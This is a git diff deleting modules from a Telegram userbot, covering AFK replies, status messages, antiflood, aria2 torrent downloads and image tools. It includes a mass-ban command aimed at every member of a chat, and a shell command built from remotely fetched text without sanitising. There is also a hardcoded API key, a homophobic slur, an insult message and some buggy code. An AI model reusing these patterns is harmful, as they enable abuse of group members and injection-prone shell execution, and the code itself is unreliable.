afk.**\n `I Was afk for:``" - + total_afk_time - + "`", - ) - try: - await borg.send_message( # pylint:disable=E0602 - Config.PRIVATE_GROUP_ID, # pylint:disable=E0602 - "#AfkLogger User is Back Alive ! No Longer Afk ", - ) - except Exception as e: # pylint:disable=C0103,W0703 - await borg.send_message( # pylint:disable=E0602 - event.chat_id, - "Please set `PRIVATE_GROUP_ID` " - + "for the proper functioning of afk functionality " - + "Please Seek Support in @FridayOT\n\n `{}`".format(str(e)), - reply_to=event.message.id, - silent=True, - ) - await asyncio.sleep(5) - await shite.delete() - USER_AFK = {} # pylint:disable=E0602 - afk_time = None # pylint:disable=E0602 - - -@friday.on( - events.NewMessage( # pylint:disable=E0602 - incoming=True, func=lambda e: bool(e.mentioned or e.is_private) - ) -) -async def on_afk(event): - if event.fwd_from: - return - global USER_AFK # pylint:disable=E0602 - global afk_time # pylint:disable=E0602 - global last_afk_message # pylint:disable=E0602 - global afk_start - global afk_end - back_alivee = datetime.now() - afk_end = back_alivee.replace(microsecond=0) - if afk_start != {}: - total_afk_time = str((afk_end - afk_start)) - afk_since = "**a while ago**" - current_message_text = event.message.message.lower() - if "afk" in current_message_text: - # fridaybot's should not reply to other fridaybot's - # https://core.telegram.org/bots/faq#why-doesn-39t-my-bot-see-messages-from-other-bots - return False - if USER_AFK and not (await event.get_sender()).bot: # pylint:disable=E0602 - if afk_time: # pylint:disable=E0602 - now = datetime.datetime.now() - datime_since_afk = now - afk_time # pylint:disable=E0602 - time = float(datime_since_afk.seconds) - days = time // (24 * 3600) - time = time % (24 * 3600) - hours = time // 3600 - time %= 3600 - minutes = time // 60 - time %= 60 - seconds = time - if days == 1: - afk_since = "**Yesterday**" - elif days > 1: - if days > 6: - date = now + datetime.timedelta( - days=-days, hours=-hours, minutes=-minutes - ) - afk_since = date.strftime("%A, %Y %B %m, %H:%I") - else: - wday = now + datetime.timedelta(days=-days) - wday.strftime("%A") - elif hours > 1: - f"`{int(hours)}h{int(minutes)}m` **ago**" - elif minutes > 0: - f"`{int(minutes)}m{int(seconds)}s` **ago**" - else: - f"`{int(seconds)}s` **ago**" - msg = None - message_to_reply = ( - f"**මම දැන් පොඩ්ඩක් Busy.. ඒක නිසා ටිකකට ඔන්ලයින් නෑ** \n**ඕෆ්ලයින් ගිය කාලය** : `{total_afk_time}`\n**හේතුව** : `{reason}`" - + f"\n\nමම ඉක්මනටම ආපහු එන්නම්!" - if reason - else f"**මම දැන් ඕෆ්ලයින්**\n ඕෆ්ලයින් ගිය කාලය : `{total_afk_time}` මම ඉක්මනටම ආපහු එන්නම්" - ) - msg = await event.reply(message_to_reply) - await asyncio.sleep(5) - if event.chat_id in last_afk_message: # pylint:disable=E0602 - await last_afk_message[event.chat_id].delete() # pylint:disable=E0602 - last_afk_message[event.chat_id] = msg # pylint:disable=E0602 - - -CMD_HELP.update( - { - "afk": ".afk \ -\nUsage: Gets You Afk" - } -) diff --git a/fridaybot/modules/alive.py b/fridaybot/modules/alive.py deleted file mode 100644 index 71ea7823..00000000 --- a/fridaybot/modules/alive.py +++ /dev/null @@ -1,75 +0,0 @@ -"""Check if fridaybot alive. If you change these, you become the gayest gay such that even the gay world will disown you.""" -# CREDITS: @WhySooSerious, @Sur_vivor -import time - -from uniborg.util import friday_on_cmd, sudo_cmd - -from fridaybot import ALIVE_NAME, CMD_HELP, Lastupdate -from fridaybot.Configs import Config -from fridaybot.modules import currentversion - - -# Functions -def get_readable_time(seconds: int) -> str: - count = 0 - ping_time = "" - time_list = [] - time_suffix_list = ["s", "m", "h", "days"] - - while count < 4: - count += 1 - if count < 3: - remainder, result = divmod(seconds, 60) - else: - remainder, result = divmod(seconds, 24) - if seconds == 0 and remainder == 0: - break - time_list.append(int(result)) - seconds = int(remainder) - - for x in range(len(time_list)): - time_list[x] = str(time_list[x]) + time_suffix_list[x] - if len(time_list) == 4: - ping_time += time_list.pop() + ", " - - time_list.reverse() - ping_time += ":".join(time_list) - - return ping_time - - -uptime = get_readable_time((time.time() - Lastupdate)) -DEFAULTUSER = str(ALIVE_NAME) if ALIVE_NAME else "Unknown" -PM_IMG = Config.ALIVE_IMAGE -pm_caption = "➥ **I'm:** `ONLINE`\n\n" -pm_caption += "➥ **SYSTEMS STATS**\n" -pm_caption += "➥ **Telethon Version:** `1.15.0` \n" -pm_caption += "➥ **Python:** `3.7.4` \n" -pm_caption += f"➥ **Uptime** : `{uptime}` \n" -pm_caption += "➥ **Database Status:** `Functional`\n" -pm_caption += "➥ **Current Branch** : `master`\n" -pm_caption += f"➥ **Version** : `{currentversion}`\n" -pm_caption += f"➥ **My Boss** : {DEFAULTUSER} \n" -pm_caption += "➥ **Heroku Database** : `AWS - Working Properly`\n\n" -pm_caption += "➥ **License** : [GNU General Public License v3.0](github.com/inukaasith/virtualuserbot/blob/master/LICENSE)\n" -pm_caption += "➥ **Copyright** : By [VirtualUserbot](https://github.com/inukaasith/virtualuserbot)\n" -pm_caption += "➥ **Check Stats By Doing** `.stat`. \n\n" -pm_caption += "[Contact Dev](https://t.me/inukaasith)" - - -@friday.on(friday_on_cmd(pattern=r"alive")) -@friday.on(sudo_cmd(pattern=r"alive", allow_sudo=True)) -async def friday(alive): - await alive.get_chat() - """ For .alive command, check if the bot is running. """ - await borg.send_file(alive.chat_id, PM_IMG, caption=pm_caption) - await alive.delete() - - -CMD_HELP.update( - { - "alive": "**ALive**\ -\n\n**Syntax : **`.alive`\ -\n**Usage :** Check if UserBot is Alive" - } -) diff --git a/fridaybot/modules/antiflood.py b/fridaybot/modules/antiflood.py deleted file mode 100644 index 81d42924..00000000 --- a/fridaybot/modules/antiflood.py +++ /dev/null @@ -1,82 +0,0 @@ -import asyncio - -from telethon.tl.functions.channels import EditBannedRequest -from telethon.tl.types import ChatBannedRights - -from .sql_helper import floodsql as sql - -from fridaybot import CMD_HELP -from ..utils import admin_cmd, edit_or_reply, sudo_cmd - -CHAT_FLOOD = sql.__load_flood_settings() -# warn mode for anti flood -ANTI_FLOOD_WARN_MODE = ChatBannedRights( - until_date=None, view_messages=None, send_messages=True -) - - -@bot.on(admin_cmd(incoming=True)) -async def _(event): - if not CHAT_FLOOD: - return - if str(event.chat_id) not in CHAT_FLOOD: - return - should_ban = sql.update_flood(event.chat_id, event.message.sender_id) - if not should_ban: - return - try: - await event.client( - EditBannedRequest( - event.chat_id, event.message.sender_id, ANTI_FLOOD_WARN_MODE - ) - ) - except Exception as e: # pylint:disable=C0103,W0703 - no_admin_privilege_message = await event.client.send_message( - entity=event.chat_id, - message="""**Automatic AntiFlooder** -@admin [User](tg://user?id={}) is flooding this chat. -`{}`""".format( - event.message.sender_id, str(e) - ), - reply_to=event.message.id, - ) - await asyncio.sleep(10) - await no_admin_privilege_message.edit( - "This is useless SPAM dude. Stop this, enjoy chat man ", link_preview=False - ) - else: - await event.client.send_message( - entity=event.chat_id, - message="""**Automatic AntiFlooder** -[User](tg://user?id={}) has been automatically restricted -because he reached the defined flood limit.""".format( - event.message.sender_id - ), - reply_to=event.message.id, - ) - - -@bot.on(admin_cmd(pattern="setflood(?: |$)(.*)")) -@bot.on(sudo_cmd(pattern="setflood(?: |$)(.*)", allow_sudo=True)) -async def _(event): - if event.fwd_from: - return - input_str = event.pattern_match.group(1) - event = await edit_or_reply(event, "updating flood settings!") - try: - sql.set_flood(event.chat_id, input_str) - sql.__load_flood_settings() - await event.edit( - "Antiflood updated to {} in the current chat".format(input_str) - ) - except Exception as e: # pylint:disable=C0103,W0703 - await event.edit(str(e)) - - -CMD_HELP.update( - { - "antiflood": ".setflood [number]\ -\nUsage: warns the user if he spams the chat and if you are an admin then it mutes him in that group.\ -" - } -) diff --git a/fridaybot/modules/antispam_devs.py b/fridaybot/modules/antispam_devs.py deleted file mode 100644 index 30974aa8..00000000 --- a/fridaybot/modules/antispam_devs.py +++ /dev/null @@ -1,102 +0,0 @@ -import secrets - -from fridaybot import sclient -from fridaybot.utils import admin_cmd - -"""This Is Only For Devs Of AntispamInc, Needs Root Permissions // @AntispamInc""" - - -@borg.on(admin_cmd(pattern="benheck(?: |$)(.*)")) -async def oki(event): - await event.edit("`Processing...`") - extra = None - args = event.pattern_match.group(1) - if event.reply_to_msg_id: - previous_message = await event.get_reply_message() - user = await event.client.get_entity(previous_message.sender_id) - extra = event.pattern_match.group(1) - elif args: - args = event.pattern_match.group(1).split(" ", 1) - userz = args[0] - if userz.isnumeric(): - user = int(userz) - else: - await event.edit("Provide User-ID Not Username.") - return - if len(args) == 2: - extra = args[1] - if extra == None: - await event.edit("Reason Can't Be None") - return - elif extra == "": - await event.edit("Reason Can't Be None") - return - if not user: - await event.edit("Reply To User Or Mention a User.") - return - try: - sclient.ban(user, extra) - await borg.send_message("antispamincfed", f"/fban {user} {extra}") - await event.edit( - f"**User :** `{user}` \n**Reason :** `{extra}` \n**Banned Sucessfully !**" - ) - except Exception as e: - await event.edit("Errors : " + str(e)) - - -@borg.on(admin_cmd(pattern="heck(?: |$)(.*)")) -async def oka(event): - await event.edit("`Processing...`") - args = event.pattern_match.group(1) - if event.reply_to_msg_id: - previous_message = await event.get_reply_message() - user = await event.client.get_entity(previous_message.sender_id) - elif args: - userz = args - if userz.isnumeric(): - user = int(userz) - else: - await event.edit("Fuck, Gib ID") - return - if not user: - await event.edit("Reply To User Or Mention a User.") - return - gensys2 = sclient.unban(user) - await borg.send_message("antispamincfed", f"/unfban {user}") - if gensys2["error"] == True: - await event.edit("Error : " + gensys2["full"]) - else: - await event.edit(f"**User :** `{user}` \n**UnBanned Sucessfully !**") - - -@borg.on(admin_cmd(pattern="nt")) -async def tokens(event): - await event.edit("`Processing...`") - okbabe = secrets.token_urlsafe(16) - skynet = sclient.new_token(okbabe) - if skynet["error"] == True: - await event.edit("Error : " + gensys2["full"]) - else: - await event.edit(f"**New Token** \n**Token** : `{okbabe}`") - - -@borg.on(admin_cmd(pattern="massbenheck(?: |$)(.*)")) -async def oki(event): - lmaoded = [] - lol = event.pattern_match.group(1) - stark = lol.split(" ", 1) - noteme = stark[0] - errorz = "" - lolsed = stark[1] - async for user in borg.iter_participants(noteme): - lmaoded.append(user.id) - for i in lmaoded: - try: - sclient.ban(i, lolsed) - await borg.send_message("antispamincfed", f"/fban {i} {lolsed}") - except: - errorz += 1 - await event.edit( - f"**User :** `{i}` \n**Banned Sucessfully !** \n**Failed :** `{len(errorz)}`" - ) - await event.edit("**DONE !**") diff --git a/fridaybot/modules/aria2.py b/fridaybot/modules/aria2.py deleted file mode 100644 index 7b5e1487..00000000 --- a/fridaybot/modules/aria2.py +++ /dev/null @@ -1,204 +0,0 @@ -# Copyright (C) 2019 The Raphielscape Company LLC. -# -# Licensed under the Raphielscape Public License, Version 1.c (the "License"); -# you may not use this file except in compliance with the License. -# - -# Asena UserBot - Yusuf Usta -# - -import aria2p -from asyncio import sleep -from os import system -from fridaybot import LOGS, CMD_HELP -from telethon import events -from requests import get -from fridaybot.utils import register - - - -# Gelişmiş indirme hızları için en iyi trackerları çağırır, bunun için K-E-N-W-A-Y'e teşekkürler. -trackers_list = get( - 'https://raw.githubusercontent.com/ngosang/trackerslist/master/trackers_best.txt' -).text.replace('\n\n', ',') -trackers = f"[{trackers_list}]" - -cmd = f"aria2c \ ---enable-rpc \ ---rpc-listen-all=false \ ---rpc-listen-port 6800 \ ---max-connection-per-server=10 \ ---rpc-max-request-size=1024M \ ---seed-time=0.01 \ ---max-upload-limit=5K \ ---max-concurrent-downloads=5 \ ---min-split-size=10M \ ---follow-torrent=mem \ ---split=10 \ ---bt-tracker={trackers} \ ---daemon=true \ ---allow-overwrite=true" - -aria2_is_running = system(cmd) - -aria2 = aria2p.API(aria2p.Client(host="http://localhost", port=6800, - secret="")) - - -@register(outgoing=True, pattern="^.amag(?: |$)(.*)") -async def magnet_download(event): - magnet_uri = event.pattern_match.group(1) - # Magnet URI'ı kuyruğa ekler. - try: - download = aria2.add_magnet(magnet_uri) - except Exception as e: - LOGS.info(str(e)) - await event.edit("Hata:\n`" + str(e) + "`") - return - gid = download.gid - await check_progress_for_dl(gid=gid, event=event, previous=None) - await sleep(5) - new_gid = await check_metadata(gid) - await check_progress_for_dl(gid=new_gid, event=event, previous=None) - - -@register(outgoing=True, pattern="^.ator(?: |$)(.*)") -async def torrent_download(event): - torrent_file_path = event.pattern_match.group(1) - # Torrent'i kuyruğa ekler. - try: - download = aria2.add_torrent(torrent_file_path, - uris=None, - options=None, - position=None) - except Exception as e: - await event.edit(str(e)) - return - gid = download.gid - await check_progress_for_dl(gid=gid, event=event, previous=None) - - -@register(outgoing=True, pattern="^.aurl(?: |$)(.*)") -async def amagnet_download(event): - uri = [event.pattern_match.group(1)] - try: # URL'yi kuyruğa ekler. - download = aria2.add_uris(uri, options=None, position=None) - except Exception as e: - LOGS.info(str(e)) - await event.edit("Hata :\n`{}`".format(str(e))) - return - gid = download.gid - await check_progress_for_dl(gid=gid, event=event, previous=None) - file = aria2.get_download(gid) - if file.followed_by_ids: - new_gid = await check_metadata(gid) - await progress_status(gid=new_gid, event=event, previous=None) - - -@register(outgoing=True, pattern="^.aclear(?: |$)(.*)") -async def remove_all(event): - await event.edit("`Devam eden indirmeler temizleniyor... `") - try: - removed = aria2.remove_all(force=True) - aria2.purge_all() - except: - pass - if not removed: # Eğer API False olarak dönerse sistem vasıtasıyla kaldırılmaya çalışılır. - system("aria2p remove-all") - await event.edit("`Tüm indirilenler başarıyla temizlendi.`") - - -@register(outgoing=True, pattern="^.apause(?: |$)(.*)") -async def pause_all(event): - # Tüm devam eden indirmeleri duraklatır. - await event.edit("`İndirmeler duraklatılıyor...`") - aria2.pause_all(force=True) - await event.edit("`Devam eden indirmeler başarıyla durduruldu.`") - - -@register(outgoing=True, pattern="^.aresume(?: |$)(.*)") -async def resume_all(event): - await event.edit("`İndirmeler devam ettiriliyor...`") - aria2.resume_all() - await event.edit("`İndirmeler devam ettirildi.`") - await sleep(2.5) - await event.delete() - - -@register(outgoing=True, pattern="^.ashow(?: |$)(.*)") -async def show_all(event): - output = "output.txt" - downloads = aria2.get_downloads() - msg = "" - for download in downloads: - msg = msg + "Dosya: `" + str(download.name) + "`\nHız: " + str( - download.download_speed_string()) + "\nİşlem: " + str( - download.progress_string()) + "\nToplam Boyut: " + str( - download.total_length_string()) + "\nDurum: " + str( - download.status) + "\nTahmini bitiş: " + str( - download.eta_string()) + "\n\n" - if len(msg) <= 4096: - await event.edit("`Devam eden indirmeler: `\n" + msg) - await sleep(5) - await event.delete() - else: - await event.edit("`Çıktı çok büyük, bu sebepten dolayı dosya olarak gönderiliyor...`") - with open(output, 'w') as f: - f.write(msg) - await sleep(2) - await event.delete() - await event.client.send_file( - event.chat_id, - output, - force_document=True, - supports_streaming=False, - allow_cache=False, - reply_to=event.message.id, - ) - - -async def check_metadata(gid): - file = aria2.get_download(gid) - new_gid = file.followed_by_ids[0] - LOGS.info("GID " + gid + " şu değerden şu değere değiştiriliyor:" + new_gid) - return new_gid - - -async def check_progress_for_dl(gid, event, previous): - complete = None - while not complete: - file = aria2.get_download(gid) - complete = file.is_complete - try: - if not complete and not file.error_message: - msg = f"\nİndirilen dosya: `{file.name}`" - msg += f"\nHız: {file.download_speed_string()}" - msg += f"\nİşlem: {file.progress_string()}" - msg += f"\nToplam Boyut: {file.total_length_string()}" - msg += f"\nDurum: {file.status}" - msg += f"\nTahmini bitiş: {file.eta_string()}" - if msg != previous: - await event.edit(msg) - msg = previous - else: - LOGS.info(str(file.error_message)) - await event.edit(f"`{msg}`") - await sleep(5) - await check_progress_for_dl(gid, event, previous) - file = aria2.get_download(gid) - complete = file.is_complete - if complete: - await event.edit(f"Dosya başarıyla indirdi: `{file.name}`" - ) - return False - except Exception as e: - if " not found" in str(e) or "'file'" in str(e): - await event.edit("İndirme iptal edildi :\n`{}`".format(file.name)) - await sleep(2.5) - await event.delete() - return - elif " depth exceeded" in str(e): - file.remove(force=True) - await event.edit( - "İndirme otomatik olarak iptal edildi:\n`{}`\nTorrent ya da link ölü." - .format(file.name)) diff --git a/fridaybot/modules/audio.py b/fridaybot/modules/audio.py deleted file mode 100644 index de2ea4f1..00000000 --- a/fridaybot/modules/audio.py +++ /dev/null @@ -1,35 +0,0 @@ -import datetime -from telethon import events -from telethon.errors.rpcerrorlist import YouBlockedUserError -from telethon.tl.functions.account import UpdateNotifySettingsRequest -from ..utils import admin_cmd - -@borg.on(admin_cmd("audio ?(.*)")) -async def _(event): - if event.fwd_from: - return - if not event.reply_to_msg_id: - await event.edit("```Reply to any user message.```") - return - reply_message = await event.get_reply_message() - if not reply_message.text: - await event.edit("```reply to text message```") - return - chat = "@AudioTubeBot" - sender = reply_message.sender - if reply_message.sender.bot: - await event.edit("```Reply to actual users message.```") - return - await event.edit("```Processing```") - async with borg.conversation(chat) as conv: - try: - response = conv.wait_event(events.NewMessage(incoming=True,from_users=507379365)) - await borg.send_message(chat, reply_message) - response = await response - except YouBlockedUserError: - await event.reply("```Please unblock @sangmatainfo_bot and try again```") - return - if response.text.startswith("🌐"): - await event.edit("```can you kindly disable your forward privacy settings for good?```") - else: - await borg.send_file(event.chat_id, response.message.message.media) diff --git a/fridaybot/modules/autoname.py b/fridaybot/modules/autoname.py deleted file mode 100644 index d67b1678..00000000 --- a/fridaybot/modules/autoname.py +++ /dev/null @@ -1,70 +0,0 @@ -"""Auto Profile Updation Commands -.autoname""" -import asyncio -import time - -from telethon.errors import FloodWaitError -from telethon.tl import functions -from uniborg.util import edit_or_reply, friday_on_cmd, sudo_cmd - -from fridaybot import ALIVE_NAME, CMD_HELP - -DEL_TIME_OUT = 60 -DEFAULTUSER = str(ALIVE_NAME) if ALIVE_NAME else "FridayUserbot" - - -@friday.on(friday_on_cmd(pattern="autoname")) # pylint:disable=E0602 -@friday.on(sudo_cmd(pattern="autoname", allow_sudo=True)) -async def _(event): - sed = await edit_or_reply(event, "`Starting AutoName Please Wait`") - if event.fwd_from: - return - - while True: - - DM = time.strftime("%d-%m-%y") - - HM = time.strftime("%H:%M") - - name = f"🕒{HM} ⚡{DEFAULTUSER}⚡ 📅{DM}" - - logger.info(name) - - try: - - await borg( - functions.account.UpdateProfileRequest( # pylint:disable=E0602 - first_name=name - ) - ) - - except FloodWaitError as ex: - - logger.warning(str(e)) - - await asyncio.sleep(ex.seconds) - - # else: - - # logger.info(r.stringify()) - - # await borg.send_message( # pylint:disable=E0602 - - # Config.PRIVATE_GROUP_BOT_API_ID, # pylint:disable=E0602 - - # "Successfully Changed Profile Name" - - # ) - - await asyncio.sleep(DEL_TIME_OUT) - - await sed.edit(f"Auto Name has been started my Master") - - -CMD_HELP.update( - { - "autoname": "**Autoname**\ -\n\n**Syntax : **`.autoname`\ -\n**Usage :** Change your Name With Time" - } -) diff --git a/fridaybot/modules/autopic.py b/fridaybot/modules/autopic.py deleted file mode 100644 index 0a483846..00000000 --- a/fridaybot/modules/autopic.py +++ /dev/null @@ -1,54 +0,0 @@ -import asyncio -import os -import shutil -from datetime import datetime - -from PIL import Image, ImageDraw, ImageFont -from pySmartDL import SmartDL -from telethon.tl import functions - -from fridaybot import CMD_HELP - -FONT_FILE_TO_USE = "Fonts/digital.ttf" - - -@command(pattern="^.autopic", outgoing=True) -async def autopic(event): - downloaded_file_name = "fridaybot/original_pic.png" - downloader = SmartDL( - Var.DOWNLOAD_PFP_URL_CLOCK, downloaded_file_name, progress_bar=False - ) - downloader.start(blocking=False) - photo = "fridaybot/photo_pfp.png" - while not downloader.isFinished(): - pass - counter = -30 - while True: - shutil.copy(downloaded_file_name, photo) - im = Image.open(photo) - file_test = im.rotate(counter, expand=False).save(photo, "PNG") - current_time = datetime.now().strftime("Let's Time Travel %H:%M ") - img = Image.open(photo) - drawn_text = ImageDraw.Draw(img) - fnt = ImageFont.truetype(FONT_FILE_TO_USE, 30) - drawn_text.text((95, 250), current_time, font=fnt, fill=(255, 255, 255)) - img.save(photo) - file = await bot.upload_file(photo) # pylint:disable=E0602 - try: - await bot( - functions.photos.UploadProfilePhotoRequest(file) # pylint:disable=E0602 - ) - os.remove(photo) - counter -= 30 - await asyncio.sleep(60) - except: - return - - -CMD_HELP.update( - { - "autopic": "**AutoPic**\ -\n\n**Syntax : **`.autopic`\ -\n**Usage :** Change your profile PIC With Time" - } -) diff --git a/fridaybot/modules/dictionary.py b/fridaybot/modules/dictionary.py deleted file mode 100644 index 717a88d7..00000000 --- a/fridaybot/modules/dictionary.py +++ /dev/null @@ -1,32 +0,0 @@ -"""Syntax: .meaning """ - -import requests -from uniborg.util import edit_or_reply, friday_on_cmd, sudo_cmd -from PyDictionary import PyDictionary - -from fridaybot import CMD_HELP - - -@friday.on(friday_on_cmd("meaning (.*)")) -@friday.on(sudo_cmd("meaning (.*)", allow_sudo=True)) -async def _(event): - stark = await edit_or_reply(event, "Finding Meaning.....") - if event.fwd_from: - return - input_str = event.pattern_match.group(1) - dictionary=PyDictionary() - a = (dictionary.meaning(input_str)) - b = a.get("Noun") - chsaiujwal = "" - for x in b: - chsaiujwal += x+"\n" - await stark.edit(f" meaning of {input_str} is:-\n {chsaiujwal}", parse_mode="HTML",) - - -CMD_HELP.update( - { - "dictionary": "**Dictionary**\ -\n\n**Syntax : **`.meaning `\ -\n**Usage :** Get meaning and pronunciation of a word." - } -) diff --git a/fridaybot/modules/fk.py b/fridaybot/modules/fk.py deleted file mode 100644 index c56a5e3c..00000000 --- a/fridaybot/modules/fk.py +++ /dev/null @@ -1,10 +0,0 @@ -from ..utils import admin_cmd, edit_or_reply, sudo_cmd - - -@bot.on(admin_cmd(pattern="fk$")) -@bot.on(sudo_cmd(pattern="fk$", allow_sudo=True)) -async def gn(event): - await edit_or_reply( - event, - "**පල හුත්තෝ යන්න 😂\n තෝ සමාජයට විහිළුවක් ඕයි 😒**", - ) diff --git a/fridaybot/modules/fridaybot.py b/fridaybot/modules/fridaybot.py deleted file mode 100644 index 723b0b67..00000000 --- a/fridaybot/modules/fridaybot.py +++ /dev/null @@ -1,39 +0,0 @@ -"""Emoji -Available Commands: -.support -""" - - -import asyncio - -from fridaybot import CMD_HELP -from fridaybot.utils import friday_on_cmd - - -@friday.on(friday_on_cmd("virtualuserbot")) -async def _(event): - if event.fwd_from: - return - animation_interval = 0.1 - animation_ttl = range(0, 36) - # input_str = event.pattern_match.group(1) - # if input_str == "Read This Telegraph Whole info here": - await event.edit("Thanks") - animation_chars = [ - "Click here to Go to Telegraph", - "[Click Here For Guide](https://telegra.ph/FRIDAY-06-15)", - ] - - for i in animation_ttl: - - await asyncio.sleep(animation_interval) - await event.edit(animation_chars[i % 18]) - - -CMD_HELP.update( - { - "VirtualUserbot": "**VirtualUserbot**\ -\n\n**Syntax : **`.virtualuserbot`\ -\n**Usage :** Gives you Friday guide (VirtualUserbot is a developed version of Friday Project)." - } -) diff --git a/fridaybot/modules/gps.py b/fridaybot/modules/gps.py deleted file mode 100644 index 565c72a8..00000000 --- a/fridaybot/modules/gps.py +++ /dev/null @@ -1,52 +0,0 @@ -""" -Syntax : .gps -credits :@mrconfused -""" - -# help from @sunda005 and @SpEcHIDe -# don't edit credits - -from geopy.geocoders import Nominatim -from telethon.tl import types - -from fridaybot import CMD_HELP -from fridaybot.utils import edit_or_reply, friday_on_cmd, sudo_cmd - - -@friday.on(friday_on_cmd(pattern="gps ?(.*)")) -@friday.on(sudo_cmd(pattern="gps ?(.*)", allow_sudo=True)) -async def gps(event): - starkislub = await edit_or_reply(event, "Processing") - if event.fwd_from: - return - reply_to_id = event.message - if event.reply_to_msg_id: - reply_to_id = await event.get_reply_message() - input_str = event.pattern_match.group(1) - - if not input_str: - return await starkislub.edit("what should i find give me location.") - - await starkislub.edit("finding") - - geolocator = Nominatim(user_agent="catfridaybot") - geoloc = geolocator.geocode(input_str) - - if geoloc: - lon = geoloc.longitude - lat = geoloc.latitude - await reply_to_id.reply( - input_str, file=types.InputMediaGeoPoint(types.InputGeoPoint(lat, lon)) - ) - await event.delete() - else: - await starkislub.edit("i coudn't find it") - - -CMD_HELP.update( - { - "gps": "**Gps**\ -\n\n**Syntax : **`.gps `\ -\n**Usage :** this plugin gives gps to the location." - } -) diff --git a/fridaybot/modules/imagetools.py b/fridaybot/modules/imagetools.py deleted file mode 100644 index cdf31a76..00000000 --- a/fridaybot/modules/imagetools.py +++ /dev/null @@ -1,303 +0,0 @@ -# Copyright (C) Midhun KM 2020 -# This program is free software: you can redistribute it and/or modify -# it under the terms of the GNU Affero General Public License as published by -# the Free Software Foundation, either version 3 of the License, or -# -# This program is distributed in the hope that it will be useful, -# but WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -# GNU Affero General Public License for more details. -# -# You should have received a copy of the GNU Affero General Public License -# along with this program. If not, see . - -import os - -import cv2 -import numpy as np -import requests -from PIL import Image -from telegraph import upload_file -from telethon.tl.types import MessageMediaPhoto - -from fridaybot import CMD_HELP -from fridaybot.utils import friday_on_cmd, sudo_cmd - -sedpath = "./starkgangz/" -if not os.path.isdir(sedpath): - os.makedirs(sedpath) - - -@friday.on(friday_on_cmd(pattern=r"cit")) -@friday.on(sudo_cmd(pattern=r"cit", allow_sudo=True)) -async def hmm(event): - if not event.reply_to_msg_id: - await event.reply("Reply to any Image.") - return - hmmu = await event.edit("Colourzing..") - sed = await event.get_reply_message() - if isinstance(sed.media, MessageMediaPhoto): - img = await borg.download_media(sed.media, sedpath) - elif "image" in sed.media.document.mime_type.split("/"): - img = await borg.download_media(sed.media, sedpath) - else: - await event.edit("Reply To Image") - return - net = cv2.dnn.readNetFromCaffe( - "./resources/imgcolour/colouregex.prototxt", - "./resources/imgcolour/colorization_release_v2.caffemodel", - ) - pts = np.load("./resources/imgcolour/pts_in_hull.npy") - class8 = net.getLayerId("class8_ab") - conv8 = net.getLayerId("conv8_313_rh") - pts = pts.transpose().reshape(2, 313, 1, 1) - net.getLayer(class8).blobs = [pts.astype("float32")] - net.getLayer(conv8).blobs = [np.full([1, 313], 2.606, dtype="float32")] - image = cv2.imread(img) - scaled = image.astype("float32") / 255.0 - lab = cv2.cvtColor(scaled, cv2.COLOR_BGR2LAB) - resized = cv2.resize(lab, (224, 224)) - L = cv2.split(resized)[0] - L -= 50 - net.setInput(cv2.dnn.blobFromImage(L)) - ab = net.forward()[0, :, :, :].transpose((1, 2, 0)) - ab = cv2.resize(ab, (image.shape[1], image.shape[0])) - L = cv2.split(lab)[0] - colorized = np.concatenate((L[:, :, np.newaxis], ab), axis=2) - colorized = cv2.cvtColor(colorized, cv2.COLOR_LAB2BGR) - colorized = np.clip(colorized, 0, 1) - colorized = (255 * colorized).astype("uint8") - file_name = "Colour.png" - ok = sedpath + "/" + file_name - cv2.imwrite(ok, colorized) - await borg.send_file(event.chat_id, ok) - await hmmu.delete() - for files in (ok, img): - if files and os.path.exists(files): - os.remove(files) - - -# Firstly Released By @DELETEDUSER420 -@friday.on(friday_on_cmd(pattern=r"nst")) -@friday.on(sudo_cmd(pattern=r"nst", allow_sudo=True)) -async def hmm(event): - life = Config.DEEP_API_KEY - if life == None: - life = "quickstart-QUdJIGlzIGNvbWluZy4uLi4K" - await event.edit("No Api Key Found, Please Add it. For Now Using Local Key") - if not event.reply_to_msg_id: - await event.reply("Reply to any Image.") - return - headers = {"api-key": life} - hmm = await event.edit("Colourzing..") - sed = await event.get_reply_message() - if isinstance(sed.media, MessageMediaPhoto): - img = await borg.download_media(sed.media, sedpath) - elif "image" in sed.media.document.mime_type.split("/"): - img = await borg.download_media(sed.media, sedpath) - else: - await event.edit("Reply To Image") - return - img_file = { - "image": open(img, "rb"), - } - url = "https://api.deepai.org/api/nsfw-detector" - r = requests.post(url=url, files=img_file, headers=headers).json() - sedcopy = r["output"] - hmmyes = sedcopy["detections"] - game = sedcopy["nsfw_score"] - final = f"**IMG RESULT** \n**Detections :** `{hmmyes}` \n**NSFW SCORE :** `{game}`" - await borg.send_message(event.chat_id, final) - await hmm.delete() - if os.path.exists(img): - os.remove(img) - - -@friday.on(friday_on_cmd(pattern=r"thug")) -@friday.on(sudo_cmd(pattern=r"thug", allow_sudo=True)) -async def iamthug(event): - if not event.reply_to_msg_id: - await event.reply("Reply to any Image.") - return - hmm = await event.edit("`Converting To thug Image..`") - sed = await event.get_reply_message() - if isinstance(sed.media, MessageMediaPhoto): - img = await borg.download_media(sed.media, sedpath) - elif "image" in sed.media.document.mime_type.split("/"): - img = await borg.download_media(sed.media, sedpath) - else: - await event.edit("Reply To Image") - return - imagePath = img - maskPath = "./resources/thuglife/mask.png" - cascPath = "./resources/thuglife/face_regex.xml" - faceCascade = cv2.CascadeClassifier(cascPath) - image = cv2.imread(imagePath) - gray = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY) - faces = faceCascade.detectMultiScale(gray, 1.15) - background = Image.open(imagePath) - for (x, y, w, h) in faces: - mask = Image.open(maskPath) - mask = mask.resize((w, h), Image.ANTIALIAS) - offset = (x, y) - background.paste(mask, offset, mask=mask) - file_name = "fridaythug.png" - ok = sedpath + "/" + file_name - background.save(ok, "PNG") - await borg.send_file(event.chat_id, ok) - await hmm.delete() - for files in (ok, img): - if files and os.path.exists(files): - os.remove(files) - - -import os - -import cv2 - - -@friday.on(friday_on_cmd(pattern=r"tni")) -@friday.on(sudo_cmd(pattern=r"tni", allow_sudo=True)) -async def toony(event): - if not event.reply_to_msg_id: - await event.reply("Reply to any Image.") - return - hmmu = await event.edit("`Converting Toonized Image..`") - sed = await event.get_reply_message() - if isinstance(sed.media, MessageMediaPhoto): - img = await borg.download_media(sed.media, sedpath) - elif "image" in sed.media.document.mime_type.split("/"): - img = await borg.download_media(sed.media, sedpath) - else: - await event.edit("Reply To Image") - return - imagez = 